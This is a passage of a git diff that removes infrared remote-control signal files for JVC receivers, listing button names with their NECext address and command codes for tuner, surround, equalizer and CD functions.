00 00 -command: 27 00 00 00 -# -name: AM/FM_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: TUNER_10KEY_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: FM/AM_8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: TUNER_10KEY_8_-SEA -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 28 00 00 00 -# -name: AM/FM_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: TUNER_10KEY_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: FM/AM_9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: TUNER_10KEY_9_+SEA -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 29 00 00 00 -# -name: AM/FM_10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: TUNER_10KEY_10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: FM/AM_10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2A 00 00 00 -# -name: AM/FM_+10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: TUNER_10KEY_+10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: 10_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: TUNER_10KEY_+10_PRGM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: FM/AM_10+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: FM/AM_+10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 2F 00 00 00 -# -name: SEA_ON/OFF_SEA -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: SEA_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: SEA_SOURCE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: SEA_LEVEL_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 30 00 00 00 -# -name: SEA_63_HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 31 00 00 00 -# -name: SEA_CON._63HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 31 00 00 00 -# -name: CONTROL_1_63HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 31 00 00 00 -# -name: SEA_63HZ(1) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 31 00 00 00 -# -name: SEA_160_HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 32 00 00 00 -# -name: SEA_CON._160HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 32 00 00 00 -# -name: CONTROL_2_160HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 32 00 00 00 -# -name: SEA_160HZ(2) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 32 00 00 00 -# -name: SEA_400_HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 33 00 00 00 -# -name: SEA_CON._400HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 33 00 00 00 -# -name: CONTROL_3_400HZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 33 00 00 00 -# -name: SEA_400HZ(3) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 33 00 00 00 -# -name: SEA_1KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 34 00 00 00 -# -name: SEA_CON._1KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 34 00 00 00 -# -name: CONTROL_4_1KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 34 00 00 00 -# -name: SEA_1KHZ(4) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 34 00 00 00 -# -name: SEA_2.5_KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 35 00 00 00 -# -name: SEA_CON._2.5KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 35 00 00 00 -# -name: CONTROL_5_2.5KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 35 00 00 00 -# -name: SEA_25KHZ(5) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 35 00 00 00 -# -name: SEA_6.3_KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 36 00 00 00 -# -name: SEA_CON._6.3KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 36 00 00 00 -# -name: CONTROL_6_6.3KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 36 00 00 00 -# -name: SEA_63KHZ(6) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 36 00 00 00 -# -name: SEA_16_KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 37 00 00 00 -# -name: SEA_CON._16KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 37 00 00 00 -# -name: CONTROL_7/P_16KHZ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 37 00 00 00 -# -name: SEA_16KHZ(7) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 37 00 00 00 -# -name: SEA_PRESET_SEA -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: SEA_PRESET -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: SEA_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: SEA_LVL_PRESET() -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: SEA_MODE_(+10) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 38 00 00 00 -# -name: SEA_UP_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3A 00 00 00 -# -name: SEA_CON._SEA_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3A 00 00 00 -# -name: CONTROL_9_+_SEA_LEV. -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3A 00 00 00 -# -name: SEA_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3A 00 00 00 -# -name: SEA_LEVEL_(+>) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3A 00 00 00 -# -name: SEA_DOWN_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3B 00 00 00 -# -name: SEA_CON._SEA_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3B 00 00 00 -# -name: CONTROL_8_-_SEA_LEV. -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3B 00 00 00 -# -name: SEA_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3B 00 00 00 -# -name: SEA_LVL_FREQ(-[]) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3B 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: PHONO_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: PHONO_PLAY_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: SOURCE_SELECT_PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: SOURCE_SLCT_PHONO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: CD_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: SOURCE_SELECT_CD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: SOURCE_SLCT_CD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3D 00 00 00 -# -name: AUX-2_(AUDIO) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3E 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: TAPE_1_SOURCE_SELECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: SOURCE_SELECT_TAPE_1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: SOURCE_SLCT_TAPE1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 3F 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 43 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 43 00 00 00 -# -name: INPUT_-_DVR/DVD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 43 00 00 00 -# -name: DAP_DELAY_TIME -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 48 00 00 00 -# -name: SURROUND_DELAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 48 00 00 00 -# -name: SURR_DELAY_(+) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 48 00 00 00 -# -name: SURR_DELAY_(1) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 48 00 00 00 -# -name: DAP_REAR_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: SURROUND_REAR_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: CH_REAR_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: SUR_LVL_REAR_LVL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: SURR_REAR_+_(6) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: REAR_VOL+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4E 00 00 00 -# -name: DAP_REAR_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: SURROUND_REAR_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: CH_REAR_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: SUR_LVL_REAR_LVL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: SURR_REAR_-_(5) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: REAR_VOL- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 4F 00 00 00 -# -name: CSRP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 52 00 00 00 -# -name: CSRP_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 52 00 00 00 -# -name: DAP_DAP_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURR_CENTER_MODE_(-) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURR_MODE_(10) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: DAPDOLBY_DAP_MODE(6) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 58 00 00 00 -# -name: FM_MODE/MUTE_(0) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5A 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5A 00 00 00 -# -name: DAP_DAP_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5E 00 00 00 -# -name: SURROUND_VOLUME_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5E 00 00 00 -# -name: DAP_DAP_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5F 00 00 00 -# -name: SURROUND_VOLUME_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 5F 00 00 00 -# -name: INPUT_-_DBS -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 63 00 00 00 -# -name: SEA_CON._DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 70 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 70 00 00 00 -# -name: SEA_DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 70 00 00 00 -# -name: SEA_CON._SEA_DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 70 00 00 00 -# -name: CSRP_DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 72 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 73 00 00 00 -# -name: SURR:ANLG/DIG. -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 74 00 00 00 -# -name: BASS_BOOST -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 75 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 78 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 79 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 7B 00 00 00 -# -name: EQ:_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 80 00 00 00 -# -name: EQ:_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 90 00 00 00 -# -name: SEA_FREQUENCY_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: A8 00 00 00 -# -name: EQ:_FREQUENCY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: A8 00 00 00 -# -name: SEA_FREQUENCY_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: A9 00 00 00 -# -name: DAP_DAP_ON/OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D5 00 00 00 -# -name: INPUT_-_DVD_MULTI -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D6 00 00 00 -# -name: DAP_TEST -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: SURROUND_TEST -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: SURR_TEST_(+) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: DAP_TEST_(>>) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: SURR_TEST_(4) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: DAPDOLBY_TEST -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D7 00 00 00 -# -name: DAP_CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: PRESET_CENTER_L.+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: SUR_LVL_CTR_LVL_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: SURROUND_CTR_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: DAP_CENTER_(+>) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: SURR_CNTR_+_(3) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D8 00 00 00 -# -name: DAP_CENTER_LEVEL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: PRESET_CENTER_L.- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: SUR_LVL_CTR_LVL_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: SURROUND_CTR_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: DAP_REAR_(-[]) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: SURR_CNTR_-_(2) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: D9 00 00 00 -# -name: C._TONE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: E7 00 00 00 -# -name: DAP_MODE_SIZE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F5 00 00 00 -# -name: DAPDOLBY_SIZE_(3) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F5 00 00 00 -# -name: DAP_MODE_LIVE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F6 00 00 00 -# -name: DAP_MODE_WALL -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F7 00 00 00 -# -name: DAPDOLBY_WALL_(4) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F7 00 00 00 -# -name: DAPDOLBY_LEVEL+_(8) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F8 00 00 00 -# -name: DAPDOLBY_LEVEL-(7/P) -type: parsed -protocol: NECext -address: A3 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir deleted file mode 100644 index 393565dfc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DAP_DELAY/EFECT(<<) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 00 00 00 00 -# -name: SURR_EFFECT_+_(9) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 00 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 00 00 00 00 -# -name: SURR_EFFECT_-_(8) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 01 00 00 00 -# -name: DAP_MODE_() -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 05 00 00 00 -# -name: DAP_MODE_(0) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 05 00 00 00 -# -name: SURR:MIDNIGHT -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 08 00 00 00 -# -name: INPUT_-_USB -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 33 00 00 00 -# -name: CSRP_MODE -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 60 00 00 00 -# -name: ^_(SHIFT+^) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 70 00 00 00 -# -name: V_(SHIFT+V) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 71 00 00 00 -# -name: >_(SHIFT+>) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 72 00 00 00 -# -name: <_(SHIFT+<) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 73 00 00 00 -# -name: EXIT_(SHIFT+CHANNEL) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 78 00 00 00 -# -name: MENU_EXIT -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 78 00 00 00 -# -name: SET_(SHIFT+MUTE) -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 79 00 00 00 -# -name: MENU_SET -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir deleted file mode 100644 index fa6e89728..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir +++ /dev/null @@ -1,1112 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO_STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 03 00 00 00 -# -name: PHONO_STOP_[]_(4) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 03 00 00 00 -# -name: PHONO_STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 03 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 03 00 00 00 -# -name: PHONO_PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 0C 00 00 00 -# -name: PHONO_PLAY_>_(1) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 0C 00 00 00 -# -name: PHONO_PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 0C 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_STOP_[]_(4) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_STOP[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_STOP_(-_[]) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 43 00 00 00 -# -name: CD_EJECT_(10) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: CD_OPEN/CLOSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 44 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PLAY_>_(1) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PLAY> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PLAY_(+_>) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4C 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: CD_PAUSE_(5) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: CD_PAUSE_() -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 4D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_<<_(2) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_A.SEARCH_REV_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_AUTO_SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: AUTO_SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_REW/<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_>>(3) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_A.SEARCH_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_SKIP_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_AUTO_SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: AUTO_SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: CD_FF/>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 59 00 00 00 -# -name: TRACK_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: CD_10KEY_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: CD_TRACK_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 60 00 00 00 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: CD_10KEY_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: CD_TRACK_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TV_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 61 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: CD_10KEY_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: CD_TRACK_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TV_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 62 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: CD_10KEY_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: CD_TRACK_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TV_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 63 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: CD_10KEY_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: CD_TRACK_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TV_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 64 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: CD_10KEY_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: CD_TRACK_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TV_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 65 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: CD_10KEY_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: CD_TRACK_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TV_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 66 00 00 00 -# -name: TRACK_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_10KEY_7/P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 67 00 00 00 -# -name: CD_TRACK_7 -type: parsed 